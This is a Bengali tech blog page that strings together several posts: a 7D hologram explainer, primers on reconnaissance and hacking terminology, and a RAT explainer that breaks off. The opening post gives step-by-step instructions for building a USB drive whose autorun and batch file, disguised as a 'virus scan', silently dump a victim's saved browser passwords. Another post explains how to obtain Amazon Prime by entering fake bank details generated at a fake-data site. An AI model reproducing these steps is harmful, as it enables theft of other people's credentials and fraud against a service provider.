ইথ্যিক্যাল হ্যাকিং

কি ভাবে একটি হ্যাকিং পেনড্রাইভ বানাবেন? যা কম্পিউটারে এ ঢুকানো মাত্র সকল পাসওয়ার্ড চুরি করে নেবে।

কি ভাবে একটি হাকিং পেনডাইভ তৈরি  করবেন যা ভিক্টিমের কম্পিউটার এর সকল পাসওয়ার্ড চুরি করে কপি করে নেবে?

 

এই পোস্টিতে আমি আপনাদের শেখাবো কি ভাবে একটি প্রোটেবল হাকিং ডিভাইস বানাবেন যা ভিক্টিমের কম্পিউটার এর সকল পাসওয়ার্ড চুরি করে নেবে তাছাড়া এই প্রোগ্রামটির মাধ্যমে আপনি আপনার ফ্রেন্ড অথবা আত্বিয়দের ভুলে যাওয়া পাসওয়ার্ড বের করতে পারবেন।

নিচের দেওয়া এই কৌশলটির মাধ্যমে আপনি হ্যাকিং করতে পারবেন একজন প্রো- হ্যাকারের মতো করে।

তো চলুন  শুরু করা যাক,

 

যা যা লাগবে এটি করার জন্য

১.  কম্পিউটার

২. পেন ড্রাইভ

৩.ওয়েব ব্রাউজার পাসওয়ার্ড ভিউয়ার(ডাউনলোড)

  Step 1 >>ডাউনলোড করুন  Web Browser Pass views Zip ফাইল উপরের লিংক থেকে

 

Step 2 >> পেনড্রাইভ টি কম্পিউটার এর সাথে লাগান এবং   Quick Format করুন NTFS মতো।

Step 3: এবার পেনড্রাইভ এ একটি নতুন ফোল্ডার বানান এবং নাম দেন “USB” and তারপর Extract করুন  Web Browser Passview zip file টি USB folder এর মধ্যে।

 

Step 4: নোট পাড ওপেন করুন এবং নিচের জিনিসটা কপি করুন তার পর অই USB ফোল্ডারে যান আর সেভ করুন USB Driver.bat  ফরমেটে।

বিঃদ্রঃ বাংলা আর্টিকেল লেখার অভ্যাস নেই তাই বানানে ভুল ত্রুটি হলে  ক্ষমা করবেন????

@echo off
cls
start \usb\WebBrowserPassView.exe /shtml 1.html




Step 5: আবার একটি নোট পাড ওপেন করুন আর নিচের লেখাগুলো কপি করে নোট পাড এ পেস্ট করুন এবং ফাইলটি সেভ করুন Autorun.inf নামে।

 

[autorun]

open=usbdriver.bat

Action=Perform a virus scan

 

Step 6:  এবার পেনড্রাইভ এ অই দুইটা ফাইল করেন। Autorun.inf  এবং USBdriver.bat

 

Step 7: আপনার হাকিং ডিভাইসটি আপনার ভিক্টিমের কম্পিউটার এ সেট করেন।  যখন পেনড্রাইভ টি লাগাবেন ভিক্টিমের কম্পিউটার এ তখন একটি নোটিফিকেশন দেখতে পারবেন। সেখানে       Virus Scan করার কথা জিজ্ঞাসা করবে এবং yes এ ক্লিক দেবেন তারপর একটি উইন্ডো দেখতে পাবেন সেখানে একবার   ctrl+a চাপুন তারপর Ctrl+s এবং উক্ত ফাইলটি পেনড্রাইভে সেভ করুন, এখন ওই নোট পাড ওপেন করুন সেখানে আপনি আপনার কাংখিত পাসওয়ার্ড পেয়ে যাবেন।

 

দ্রষ্টব্য: মাঝে মাঝে অটোরান ফাইলটি সেই মানদন্ডে কাজ করে না, আপনাকে পেন ড্রাইভ পার্টিশনটি খুলতে হবে এবং তারপরে ইউএসবি ড্রাইভারের উপর দুবার ক্লিক করুন এবং তারপরে কেবল ⌨ Ctrl + a এবং ???? Ctrl + s টিপুন এবং ফাইলটি আপনার পেন ড্রাইভে সংরক্ষণ করুন । আপনি এবার পাক্টিস করতে থাকুন যত দ্রুত করতে পারবেন ততোই ভালো আপনার জন্য।

 

⚠⚠**দয়াকরে এইটি কোন খারাপ কাজের জন্য ব্যাবহার করবেন ন।  এটি শুধু একটি শিক্ষামুলক আর্টিকেল ছিল। ????????

টেক নিউজ

7 ডি হোলোগ্রাম প্রযুক্তি কেমন জানেন কি?

হোলগ্রামের মানে কি?


একটি হোলোগ্রাম একটি বস্তুগত  যন্ত্র যা একটি চিত্র প্যাটার্ন গঠন করে এবং চিত্র প্যাটার্ন গঠনের সময় আলোর বিন্দুগুলোকে আলাদা আলাদা ভাবে দেখাই.

  
হোলোগ্রাফিক ইমেজটি আলোর মাধ্যমে হোলগ্রাফিক প্রিন্টে লেজার বিম প্রজেক্ট করে এবং পর্দায় এই আলোর পতিফলনের কারনে একটি ত্রিমাত্রিক ছবি  দেখা যায়।

 


জন হেনরি পেপার 1860-এর দশকে প্রথমবারের মত হলোগ্রাফিক ছবির কৌশলটি প্রদর্শন করেছিলেন।  তিনি একটি ত্রিমাত্রিক প্রতিবিম্ব তৈরি করেছিলন এবং
চিত্রগুলি প্রজেক্টর এর মাধ্যমে বিভিন্ন দিক থেকে একটি নিদিষ্ট পর্দায় ফেলে ত্রিমাতৃক ছবি দেকিয়েছিলেন।  জন হেনরি সর্ব প্রথম মঞ্চে একটি ভুতের হলোগ্রাফিক ছবি প্রদর্শন করে।

HoloLens মত বর্ধিত বাস্তবতা সিস্টেম প্রায়ই একটি ভিডিও অভিক্ষেপ করতে হোলোগ্রাফিক অপটিক্যাল উপাদান ব্যবহার। ভার্চুয়াল ইমেজ  এক ধরনের ‘ভার্চুয়াল হোলোগ্রাম’।

 

হ্যালোগ্রাফিক ইমেজ কিভাবে কাজ করে?


হোলোগ্রাফিক ইমেজের মূলনীতি কাজ করে আলোর পরতি ফলন এর মধ্যমে। যখন একটি হলোগ্রাফিক ছবি ধারন করা হয় তখন একটি আলাদা কামেরা ব্যাবহার করা হয় এবং ছবি ধারন করার পর ছবিতে কিছু আকস্মিকভাবে আলোর বিচ্ছুরন পরিবতন করা হয়। সাভাবিক ভাবে বলতে গেলে একটি সাধারন ভিডিও প্রজেক্টর যে প্রক্রিয়াতে কাজ করে ঠিক একই ভাবে হোলোগ্রাফিক ইমেজ কাজ করে।   

 

7 ডি হোলোগ্রাম প্রযুক্তি কেমন ?   

যেহেতু আমরা সবাই জানি যে সময়ের সাথে সাথে খুব দ্রুত প্রযুক্তি বিকশিত হচ্ছে, গতকাল আমরা ২ ডি এবং 3 ডি তে কথা বলছিলাম এবং এখন আমাদের আলোচনার বিষয় হল 7 ডি হোলোগ্রাম প্রযুক্তি। আমরা সবাই প্রায় 2 ডি এবং 3 ডি প্রযুক্তি  দেখেছি এবং আপনাদের মধ্যে অনেকেই এই প্রযুক্তির অভিজ্ঞতা পেয়েছেন।

Example of 7D Park in Japan

সুতরাং, একটি 7 ডি হোলোগ্রাম হল 7 পরামিতি সহ একটি উচ্চ মানের হোলোগ্রাম ধারণ করার প্রযুক্তি। আমরা যদি 3 ডি এবং 7 ডি হোলোগ্রাম প্রযুক্তির মধ্যে পার্থক্য করি, তবে প্রধান পার্থক্য হল 7 ডি হোলোগ্রাম একটি বিষয় বা সমগ্র দৃশ্যের চারপাশে অবস্থান করে এমন একটি বড় সংখ্যক অবস্থান থেকে ধরা হয়। 3D চসমা পরে 3D ভিডিও দেখলে মনে হয় সব কিছু আপনার চোখের সামনেই ঘটছে কিন্তু 7D একদমি আলাদা কারন 7D  তে ভিডিও গুলো আপনার চার পাশে একটি ফেক দৃশ্য তৈরী করে।

ইথ্যিক্যাল হ্যাকিং

এথ্যিক্যাল হ্যাকিংঃ পর্ব ৩; Information Gathering কি ও footprinting নিয়ে বিস্তারিত

হ্যাকিং হচ্ছে একটা আর্ট। যেটাকে আপনি লজিকের আর্ট বলতে পারেন। হেডলাইন দেখেই হয়তো বুঝে ফেলেছেন কি থাকতে যাচ্ছে আজকের আর্টিকেলে। হ্যা, আজকের আলোচনার বিষয় হচ্ছে Information gathering নিয়ে।

Information Gathering কি?

ইনফরমেশন গেদারিং হচ্ছে একটা প্রোসেস, যেই প্রোসেসের মাধ্যমে কোন কম্পিউটার, ওয়েবসাইট বা নেটওয়ার্কের তথ্য কালেক্ট করতে পারেন। যেকোন ধরনের তথ্য কালেক্ট করাই ইনফোরমেশন গেরানিং এর মাঝে পরে থাকে। যেমন কেও যদি আমার ওয়েবসাইটের ইমেইল টি কালেক্ট করতে পারে, তবে সেটাও ইনফোরমেশন গেদারিং এর মাঝে পরবে।

আপনি কি ইথ্যিক্যাল হ্যাকিন শিখতে চান? আমাদের এই আর্টিকেল গুলো পড়ুনঃ

Information Gathering কত ধরণের?

আসলে এই ভাবে বলা ঠিক না information Gathering কত ধরণের। কেননা আপনি নিজের কাস্টোম মেড কোন মেথড দিয়ে Information Collect করতে পারেন। তবে নিয়ম রক্ষার ক্ষেত্রে আমি Information Gathering কে ২ ভাগে ভাগ করবো।

  • Footprinting
  • Fingerprinting

যদিও আমি নিজে মনে করি Information Gathering কে কোন ভাগে ভাগ করা ঠিক না।

আমার নিজের ব্যবহার Information Gathering মেথড, যেটা এইসকল নিয়মের বাইরে

Footprint কি?

Footprint হচ্ছে একটা প্রোসেস যেটা দিয়ে আপনি information Gather করতে পারবেন। কিছু কিছু পক্রিয়া রয়েছে যেগুলো এই ফুটপ্রিন্টের মাঝেই পরে থাকে। যদিও এটা নির্ভর করে আপনার টেকনিকের ওপর।

  • Domain name
  • IP Addresses
  • Namespaces
  • Employee information
  • Phone numbers
  • E-mails
  • Job Information

সাধারণত এইসকল তথ্য গুলো কালেক্ট করা হয়ে থাকে। যদিও তথ্য সংগ্রহের কোন বাধ্যবাধকতা নেই।

কম্পিউটারের ফ্রি কোর্স করুনঃ

  1. কম্পিউটার কি, এর বৈশিষ্ট্য ও ইতিহাস
  2. কম্পিউটারের বিভিন্ন প্রকার  – Types Of Computer In Bangla.
  3. কম্পিউটারের ব্যবহার – Uses Of Computer In Bangla
  4. কম্পিউটারের সুবিধা এবং অসুবিধা
  5. কম্পিউটার কিভাবে কাজ করে – বাংলাতে কম্পিউটারের কাজ সম্পর্কে সম্পূর্ণ তথ্য
  6. কম্পিউটারের জেনারেশন | Generations Of Computer In Bangla?
  7. কম্পিউটারের ব্যাসিক যন্ত্রাংশ
  8. কম্পিউটার সফটওয়্যার কি

কিছু Footprint এর ধারণাঃ

কিছু ফুটপ্রিন্ট নিয়ে আলোচনা করা হবে। কিভাবে আপনি তথ্য সংগ্রহ করবেন?

Domain Name Information

Domain Name Information যেটাকে আপনি Whois বলতে পারেন। কেননা Whois Guard লাগানো না থাকলে আপনি অনেক তথ্য সংগ্রহ করা সম্ভব। যেমন ধরুন, ইমেইল, ফোন নাম্বার ইত্যাদি। whois.com/whois এই ওয়েব সাইট থেকে আপনি তথ্য সংগ্রহ করতে পারেন।

আপনাদের সুবিধার জন্য নিজের সাইট এর ফুটপ্রিন্ট ব্যবহার করছি। নেম সার্ভার হিসাবে দেখুন, আপনি যদি ns1 এই টুকু কেটে দিয়ে শুধু allreviewbd.com এ ঢুকেন থাহলেই আমার হোস্টিং প্রোভাইডার কে পেয়ে যাবেন।

এবার দেখুন মজার বিষয় টা, আমার শহর,ফোন নাম্বার, ইমেইল সব কিছুই আছে। এবার আপনি চাইলে আপনার বুদ্ধি খাটিয়ে এর থেকে অনেক কিছুই বের করতে পারেন। এর থেকে বেশি কিছু বলে নিজের বাঁশ নেয়ার ইচ্ছে নাই।

Fix করবেন কিভাবে?

এটা ফিক্স করার জন্য whois guard ব্যবহার করুন। হয়তো প্রতি বছরে এর জন্য ২-৩ ডলার খরচ হতে পারে। কিন্তু আপনি যদি নেম চিপ থেকে ডোমেইন কিনে থাকেন, তাহলে Whois Guard ফ্রিতে পাবেন।

কিভাবে আইপি বের করবেন?

আইপি খোজার জন্য আপনি চাইলে cmd অথবা কিছু ওয়েব সাইট আছে। সেই গুলো ব্যবহার করতে পারেন।

নিচের দেওয়া কমান্ড দিয়ে আপনি চাইলে আইপি বের করতে পারেন

$ping sitename.com

It will produce the following result

PING sitename (--.---.--.---) 56(84) bytes of data. 
-- bytes from -------: icmp_seq = 1 ttl = 64 time = 0.028 ms 
-- bytes from -------: icmp_seq = 2 ttl = 64 time = 0.021 ms

আবার আপনি চাইলে whoer.net এই সাইট থেকেও ওয়েবসাইটের আইপি বের করে নিতে পারেন।

কিভাবে আইপি হাইড করবেন?

আইপি হাইড করার জন্য আপনাকে কিচ্ছু করা লাগবে না। শুধু  cloudflare.com এ একটা আপনার একটা একাউন্ট খুলুন ও আপনার সাইট টা সেট করে নিন।

সার্ভারের সকল সাইট এনালাইসিস

অনেকেই শেয়ার্ড হোস্টিং ব্যবহার করে থাকেন। শেয়ার্ড হোস্টিং প্রধানত একটা সার্ভারে অনেক গুলো সাইট হোস্ট করার সুবিধা দিয়ে থাকে। আর এই সুবিধা মধুর হয়ে দ্বাড়ায় হ্যাকারদের কাছেও। ধরুন একটা সার্ভারে আপনার একটা সাইট আছে, সেই সাইটে আমার একটা সাইট আছে। এখন আমার সাইট হ্যাকার টার্গেট করে হ্যাক করার জন্য। সে এখন সার্ভার স্ক্যান করে দেখলো একই সাইটে আপনার ও আমার সাইট রয়েছে, ও আপনার সাইট টা হ্যাক করা সম্ভব। এর মানে আমার সাইট টাও তো হ্যাক হবার সম্ভাবনা ৯০%। ব্যাস হয়ে গেল আমার সাইট টা তো তার কাছে হ্যাক করা এখন আরো সুবিধা।

এখন প্রশ্ন হচ্ছে কিভাবে সার্ভার স্ক্যান করবেন?

https://viewdns.info/reverseip/ এই সাইটা ব্যবহার করুন ও আপনি যে সাইটের সার্ভার স্ক্যান করতে চাচ্ছেন সেটা স্ক্যান করে ফেলুন। উপরের ভিডিও টাও একই কাজ করে যদি এটা একটা সাইট হ্যাক করার পরে করা।

কিভাবে ফিক্স করবেন?

এটা ফিক্স করার জন্য আইপি হাইড করলেই চলবে।

ওয়েবসাইট হিস্টোরি চেক করুন

এটা খুব সহজ, আপনি শুধু www.archive.org এই ওয়েব সাইটের যান। এরপরে এর সকল হিস্টোরি চেক করুন। যদিও এটা খুব একটা আশা ব্যাঞ্জক ফল দেয় না। তবুও চেষ্টার ত্রুটি থাকা মোটেও ঠিক না।

পূর্বে প্রকাশিত ঃ

পরের আর্টিকেলে Fingerprint নিয়ে আলোচনা করা হবে। ভেবেছিলাম একটা আর্টিকেলেই সব কিছু নিয়ে আলোচনা করবো। কিন্তু Fingerprint এর জন্য কিছু টুলস এর প্রয়োজন রয়েছে। পরবর্তী পোস্টে টুলস এর ব্যবহার ও ইন্সটল সহ আলোচনা করা হবে। যে কোন ধরণের হেল্পের জন্য আমাদের ফেসবুক গ্রুপে জয়েন করতে পারেন। আমাদের গ্রুপের লিংক

 

ইথ্যিক্যাল হ্যাকিং

এথ্যিক্যাল হ্যাকিংঃ পর্ব ২; হ্যাকিং পরিভাষা [Terminologies] [ব্যাসিক]

আপনি সারা দিন ভাত খাচ্ছেন, কিন্তু আপনি জানেন না এটার নাম ভাত। এখন কেও যদি আপনাকে জিজ্ঞাসা করে আপনি খাচ্ছেন? তখন আপনার কাছে উত্তর দেয়ার মত কিছু থাকবে? বা আপনি যদি কোন সময় রান্না শিখেন বিরিয়ানি কিভাবে বানাতে হয়, কিন্তু আপনি তো এটাই জানেন না ভাত কি? তাহলে বিরিয়ানি রান্নার টিউটোরিয়াল দেখে কোন লাভ আছে? আপনি ভাত খান কিন্তু জানেন না এটা ভাত। ঠিক এমনি ভাবে হ্যাকিং এর ভাষা গুলোর নাম না জেনে কাজ জেনে কোন লাভ হবে না। আপনি যদি অন্য কোন টার্মের কাজ করতে যান তখন কোন একটা পার্ট আপনার সামনে চলে আসবে। বলতে পারেন একে অপরের সাথে খুব নিবির ভাবে জড়িত। আর ঠিক এই জন্যই আজকে জানাবো হ্যাকিং পরিভাষা, কোন টার্মের নাম কি? হ্যাকিং এর ক্ষেত্রে এদের কি বলে ডাকা হয়ে থাকে। বেশি কথা না বলে আসল কাজে চলে যায়। এখানে আমি সবত্থেকে গুরুত্বপূর্ন বিষয় গুলো নিয়ে আলোচনা করবো।

Adware

Adware
Adware

এড ওয়্যার হচ্ছে হ্যাকদের বানানো একধরনের সফটওয়্যার। যেটা ডিজাইন করা হয় কোন পিসি বা মোবাইলের মাঝে ঢুকে নিজস্ব কিছু এড দেখনোর জন্য। এইসব সফটওয়্যার গুলো হ্যাকারা বানিয়ে থাকে, আপনার পিসিতে বা ব্রাউজারে তাদের এড দেখিয়ে থাকে বা এড দেখানোর জন্য ফোর্স করে থাকে। কিছু কিছু সফটওয়্যার আপনার ব্রাউজার হিস্টোরি, কুকি এইসব সংগ্রহ করে রেখে দেয়। যা তারা পরে অনেক ইলিগ্যাল কাজে লাগিয়ে থাকে।

আপনি কি ইথ্যিক্যাল হ্যাকিং শিখতে চান? আমাদের এই আর্টিকেল গুলো পড়ুনঃ

Back Door

Back Door এমন একটা পন্থা যেটা দিয়ে আপনি কোন ওয়েব সাইট বা কম্পিউটারের মাঝে হিডেন হয়ে লগইন করতে পারবেন। এর জন্য আপনাকে কোন লগইন করার প্রয়োজন হবে না। নাম শুনেই হয়তো বুঝতে পারছেন আসলেই এর কাজ টি কেমন। পেছনের দরজা, মানে আপনি ঘরে ঢুকতে পারবেন ঠিকই কিন্তু পেছনের দরজা দিয়ে।

Attack

Attack হচ্ছে একটা একশন। যার মাধ্যমে আপনি ভিকটিমের ডাটা পেতে বা পাওয়ার চেষ্টা করতে পারেন।

Bot

Bot হচ্ছে একটা প্রোগ্রাম বা স্রিপ্ট। যেটা মানুষের মত কোন কাজ নিজে নিজেই করতে পারে। যেটার মাঝে নিদির্ষ্ট করে প্রোগ্রাম করে দেয়া থাকে। এটার সব থেকে ভাল উদাহরণ গুগোল বট বা বিং বট। এইসকল বট গুলো সকল ওয়েব সাইট কে ক্রাউল করে থাকে। একটা মানুষ যদি এই কাজ করতে যেত তাহলে হয়তো তার সারা জীবন লেগে যেতে পারতো। কিন্তু একটা বট এই কাজ মানুষের মত করেই বার বার একই টাস্ক করে থাকে।

Botnets

Botnets হচ্ছে অনেক গুলো বটকে একসাথে একই নেটওয়ার্কের নিচে এনে পরিচালনা করা। এটা মূলত ব্লাক হ্যাট হ্যাকার করে থাকে। Botnet কে আপনি Zombie Army এদের সাথেও তুলনা করতে পারেন। Botnet এর ব্যবহার হয়ে থাকে মূলত ডিডস এট্যাক, spamming, mail bombing এই সব এর ক্ষেত্রে।

Brute force attack

Brute force attack এই নাম টি হয়তো অনেকেই শুনে থাকবেন। বলতে পারেন অনেক প্রচলিত একটা নাম। এই প্রচলিত হবার কারণই হচ্ছে হ্যাকারদের কাছে জনপ্রিয়তা। Brute force attack কাজ হচ্ছে কোন লগইন পেজে আলাদা আলাদা কম্বিনেশেনে ইউজার নেম ও পাসওয়ার্ড ইনপুট করে লগইন করা। আপনি একে একটি ক্র্যাকার বলতে পারেন।

Clone phishing

Clone phishing
Clone phishing

ক্লোন ফিশিং হচ্ছে কোন ওয়েব সাইটের ফেক লগইন বানিয়ে, ইউজার দের তথ্য চুরি করে নেওয়ার একটা ট্রিক মেথড। এটা অনেক জনপ্রিয় ও বলতে পারেন এটা সারা জীবন ধরেই জনপ্রিয় থাকবে। এটা নির্ভর করে হ্যাকার কতটা বুদ্ধিমান ও হ্যাকার কতটা সময় উপযোগী ভাবে ইউজারদের বোকা বানাতে পারে। হ্যাকার যদি সঠিক ভাবে তার কাজ টি করতে পারে, বেশির ভাগ ক্ষেত্রেই ইউজার গণ বোকা বনে যেতে বাদ্ধ হয়ে পরেন।

Denial of service attack (DoS)

এই সব নিয়ে আমি কিছুই বলবো না তেমন ভাবে কেননা এর আগে এইসব নিয়ে অনেক বিষদ ভাবে আলোচনা করা হয়েছে। আপনি যদি না পড়ে থাকেন তাহলে এইন আর্টিকেল টি পড়ে আসুন।

Malware

ম্যালওয়্যার hacking terminology.সব থেকে সুন্দর বিষয়। এটা হচ্ছে শুধু মাত্র একটা কিছু প্রোগ্রামিং যা হ্যাকার রা ভিকটিমের পার্সোনাল ডাটা, পাসওয়ার্ড ইত্যাদি চুরি সহ পুরো সিস্টেম ক্রাশ করিয়ে দিতে পারে। এটা নিয়ে বিস্তারিত জানতে এই আর্টিকেল টা পরে আসতে পারে। 

কম্পিউটারের ফ্রি কোর্স করুনঃ

  1. কম্পিউটার কি, এর বৈশিষ্ট্য ও ইতিহাস
  2. কম্পিউটারের বিভিন্ন প্রকার  – Types Of Computer In Bangla.
  3. কম্পিউটারের ব্যবহার – Uses Of Computer In Bangla
  4. কম্পিউটারের সুবিধা এবং অসুবিধা
  5. কম্পিউটার কিভাবে কাজ করে – বাংলাতে কম্পিউটারের কাজ সম্পর্কে সম্পূর্ণ তথ্য
  6. কম্পিউটারের জেনারেশন | Generations Of Computer In Bangla?
  7. কম্পিউটারের ব্যাসিক যন্ত্রাংশ
  8. কম্পিউটার সফটওয়্যার কি

Spoofing

Spoofing  হচ্ছে খুব জনপ্রিয় ও সর্বাধিক ব্যবহার করা একটা মেথড। একজন হ্যাকার এই মেথড ব্যবহার করে থাকবেই। এটা এমন একটি মেথড যেটা দিয়ে কম্পিউটার কে বোঝানো হয় তার কাছে অরজিনার হোস্ট থেকে রিকুয়েস্ট আসছে। কিন্তু পুরোটাই থাকে ফেক।  

Email Spoofing

এটা নিয়ে আমি আলাদা করে কোন আলোচনা করতে চাচ্ছি না। কেননা এটা নিয়ে আমি আগেই অনেক বিশাল একটা আর্টিকেল লিখেছি। আপনি চাইলে এই আর্টিকেল দেখে পুরো বিষয় টা শিখে আসতে পারেন। তবে এটি হচ্ছে সব থেকে বেশি সফল একটা পন্থা। ধারনা এটা যে বাংলাদেশ ব্যাংক হ্যাকিং এর ক্ষেত্রেও ইমেইল স্পুফিং করা হয়েছিল (ব্যাক্তিগত মতামত)

Buffer Overflow

এটা এমন একটা টেকনিক যেটা দিয়ে কোন কম্পিউটার বা সিস্টেম এর মেমোরি কে বেশি বেশি ডাটা রাইট করার মাধ্যমে হ্যাং করে দেওয়া হয়। 

Encryption

এটা নিয়ে হয়তো কাওকে তেমন কিছুই বলা লাগবে না। এটার মাধ্যমে যে কোন ইনফোরমেশন বা ডাটা ইনকোড হয়ে যায়। এটার যেমন ভাল দিক আছে তেমনি খারাপ দিক আছে। যেমন আপনার মেইল যদি ইনক্রিপ্ট করা না থাকে তাহলে হ্যাকার সেটা হ্যাক করে পড়ে নিতে পারবে। যেমন ধরুন কেও যদি ম্যান ইন দ্যা মিডিল এট্যাক দেয় তবে এটা সম্ভব হত। আর খারাপ দিক হচ্ছে র‍্যানসম ওয়্যার এর মত ভাইরাস পুরো কম্পিউটার টা ইনক্রিপ্ট করে দেয়।

এই গুলোই আপাতত ছোট করে বলা সম্ভব হইলো বাকি গুলো এত ছোট করে বলা সম্ভব না। যেমন RooTkit, Worm, Clocking. তবে একে একে সব ট্রাম গুলো নিয়েই বিস্তারিত আলোচনা করা হবে। আমাদের ফেসবুক গ্রুপে জয়েন করুন। 

যদি আর্টিকেল ভাল লেগে থাকে তাহলে আমাদের সাথে থাকুন। পরের পর্বে কি দিব সেটা কমেন্ট করে জানান । যে কোন ধরণের হেল্পের জন্য আমাদের ফেসবুক গ্রুপে জয়েন করতে পারেন। আমাদের গ্রুপের লিংক

 

Paid

Amazon Prime ফ্রি একাউন্ট।

কথা অনু্যায়ী আজকে শেয়ার হবে আমাজন প্রাইম একাউন্ট ফ্রিতে নেওয়ার ট্রিক।
বেশি কথা না বলে চলে যায় আসল কথায়।

প্রথমে আপনার পিসির Incognito Tab ওপেন করুন।
এবার আপনি একটা ভিপিএন কানেক্ট করান, যেটার লোকেশন দিবেন জার্মানী।
এবার  https://www.amazon.de/ এই  সাইটে ঢুকুন।

এমন আসবে। মার্ক করা যায়গা তে ক্লিক করুন।

এবার আপনার সামনে এমন একটা পেজ আসবে।

 

আপনার সামনে জার্মান ভাষায় লেখা আসবে। এত কিছু না ভেবে মার্ক করা জায়গায় ক্লিক করুন। আমি ট্রান্সলেট করে চালাচ্ছি।

এবার Create Your Amazon Account এখানে ক্লিক করুন।
এবার একাউন্ট ক্রিয়েট করুন। তবে ইমেইল অবশ্যয় জিমেইল বা ইয়াহু ব্যবহার করবেন।

এবার ভেরিফাই করে নিন ইমেইল টা।

এবার আসছে আসল কাজ।
আপনি এবার নতুন ট্যাব খুলুন।

এবার ঢুকুন https://fake-it.ws/ এই সাইটে

 

এমন একটা হোম পেজ আপনি দেখতে পারবেন।
এবার আপনি মার্ক করা জায়গাতে ক্লিক করুন।

এবার নিচের দিকে নামুন
এমন লেখা পাবেন

আপনার এখন কোন কাজ নেই, আপনি এই ট্যাব না কেটে আগের ট্যাবে ফিরে যান।

আমাজনে ভেরিফিকেশনের পরে এমন একটা পেজ আসছে আপনার

এবার আপনি পেমেন্ট হিসাবে SEPA এটা সিলেক্ট করুন।
Add bank account এ ক্লিক করার পরে এমন অপশন আসবে।

আপনি যদি পেজ কে ট্রান্সলেট না করেন তবে লেখা বুঝতে পারবেন না। তাই ট্রান্সলেট করে নেন।

এবার সেই ট্যাবে চলে যান। সেখান থেকে BIC কোড টা কপি করেন।

এটা আপনার আমাজনের পেমেন্টে বসান

এবার আবার IBAN নাম্বার টা কপি করেন

এটাও কপি করে বসান।
এবার নাম টা কপি করে বসান

এবার ক্লিক করুন

এবার আপনার সামনে এমন একটা পেজ আসবে।

এটা আপনার বিলিং এড্রেস। আপনি মার্ক করা জায়গায় ক্লিক করেন।

এটা বাংলাদেশ বা যে কোন দেশ দিতে পারেন। যায় হোক এটা পূরন করেন ও Use this address এই জায়গায় ক্লিক করেন

এবার আপনার সামনে এমন একটা ইন্টারফেস আসবে।

আপনি এখানে ক্লিক করুন

এবার দেখুন মজা

মারহাবা মারহাবা

এবার আপনার ভিপিএন ডিসকানেক্ট করুন

এবার ঢুকুন https://www.primevideo.com/

sign in এখানে ক্লিক করুন।

ইমেইল ও পাসওয়ার্ড দেন

ওহ ইয়েস

 

ইথ্যিক্যাল হ্যাকিং

এথিক্যাল হ্যাকিংঃ র‍্যাটওয়্যার বা র‍্যাট কি : কিভাবে আক্রান্ত্র করানো হয়? – [বেসিক]

আপনি একটা হলিউড মুভি দেখছেন। একজন হ্যাকার এক কম্পিউটারের সকল ডাটা তার কম্পিউটারে নিয়ে নিচ্ছে। সে অন্যর কম্পিউটার তার ঘরে বসেই নিয়ত্রণ করছে। কি মজা তাই না? কিন্তু আপনাদের মাঝে কেও মন খারাপ করে বসে আছে , “ইস আমি যদি এই ভাবে কারো কম্পিউটার হ্যাক করতে পারতাম”। আবার কেও বা বসে বসে নিজের মনকে সাত্বনা দিচ্ছে,” হুহ, হ্যাক কি এতই সোজা নাকি? এটা একটা মুভি ব্রো, সো ঘুমাই।” আপনি যদি এই ২ টা ধারণার কোন একটা মনে পোষন করে থাকেন, তাহলে এই আর্টিকেল টা শুধুমাত্র আপনার জন্য।

 

বর্তমান যুগ টি হচ্ছে তথ্য ও প্রযুক্তির যুগ এখই আমরা প্রায় সকল ক্ষেত্রেই কম্পিউটারের ওপর নির্ভরশীল হয়ে পরেছি। তাছাড়া দিন যত বেড়ে চলছে আমাদের পার্সোনাল কম্পিউটারের সংখ্যাও তত বেড়ে চলেছে। আর ঠিক কম্পিউটারের জন্যই আমাদের জীবন টা আরো সহজ ও নিরাপদ হয়ে উঠেছে। কিন্তু আপনি যতটা নিজেকে সুরক্ষিত ভাবছেন বা নিরাপদ ভাবছেন আপনি কিন্তু আসলে ততটা সুরক্ষিত না।

আপনার নিজের অগোচরে আপনার কম্পিউটারে অনেক কিছু হয়ে যাচ্ছে কিন্তু আপনি বুঝতেও পারছেন না। আপনার কম্পিউটারটা আপনি ছাড়া অন্য কেও ব্যবহার করছে কিন্তু আপনি এই বিষয়ে কিছুই জানতে পারছেন না। তাহলে আপনি নিজেই ভাবুন আপনি নিজে কতটা সুরক্ষিত? আর ঠিক এই বিষয় নিয়েই আজকের এই আলোচনা। আজকে আমাদের এথিক্যাল হ্যাকিং এ আলোচনা করবো র‍্যাট ও র‍্যাটওয়্যার নিয়ে।

আপনি কি ইথ্যিক্যাল হ্যাকিন শিখতে চান? আমাদের এই আর্টিকেল গুলো পড়ুনঃ

র‍্যাট কি

র‍্যাট শব্দটি যখনি আমরা শুনে থাকি আমাদের মাথায় আসে ইদুঁরের কথা। কেননা আমরা তো সারা জীবন জেনেই এসেছি র‍্যাট অর্থ ইদুঁর। কিন্তু এই র‍্যাট এর অর্থ ইদুঁর না। RAT বা র‍্যাট অর্থ হচ্ছে Remote Access Trojan বা Remote Access Tool বা Remote Admin Trojan/ Tool আসলে যে যেভাবে ব্যবহার করে আর কি। আপনি র‍্যাটকে এর যেকোন একটা বলেই ডাকতে পারেন। র‍্যাটে তা হচ্ছে এমন একটা প্রোগ্রাম যেটা আপনার কম্পিউটারে গিয়ে আপনার কম্পিউটারের যে Administration Power আছে সেটা নিয়ে নেই ও আপনি আপনার কম্পিউটারে যে যে কাজ করার ক্ষমতা পেয়ে থাকেন সেটা তখন র‍্যাট এর মাধ্যমে হ্যাকারের কাছেও চলে যায়। তাই হ্যাকার আপনার কম্পিউটারকে নিজের মত করে চালাতে পারে।

র‍্যাটওয়্যার কি?

র‍্যাটওয়্যার হচ্ছে র‍্যাট ব্যবহার করার জন্য একটা টুল যেটা প্রোফেশনাল স্পামারেরা ব্যবহার করে থাকে। এখন আপনার মনে প্রশ্ন আসতে পারে তাহলে ভাই র‍্যাট চালানোর জন্য যদি কোন টুল লাগে তাহলে র‍্যাট কি? আসলে ভাই র‍্যাট কোন টুল না। এটা শুধু মাত্র একটা প্রোগ্রাম এটাকে আপনার কম্পিউটারে রান করার জন্য আলাদা ভাবে ইন্সটল করা লাগবে না।

বাইনারি সংখ্যা কি? আপনার কম্পিউটার কিভাবে বাইনারি সংখ্যা বুঝে থাকে?

র‍্যাট কিভাবে  কাজ করে ও এর উদ্দেশ্য

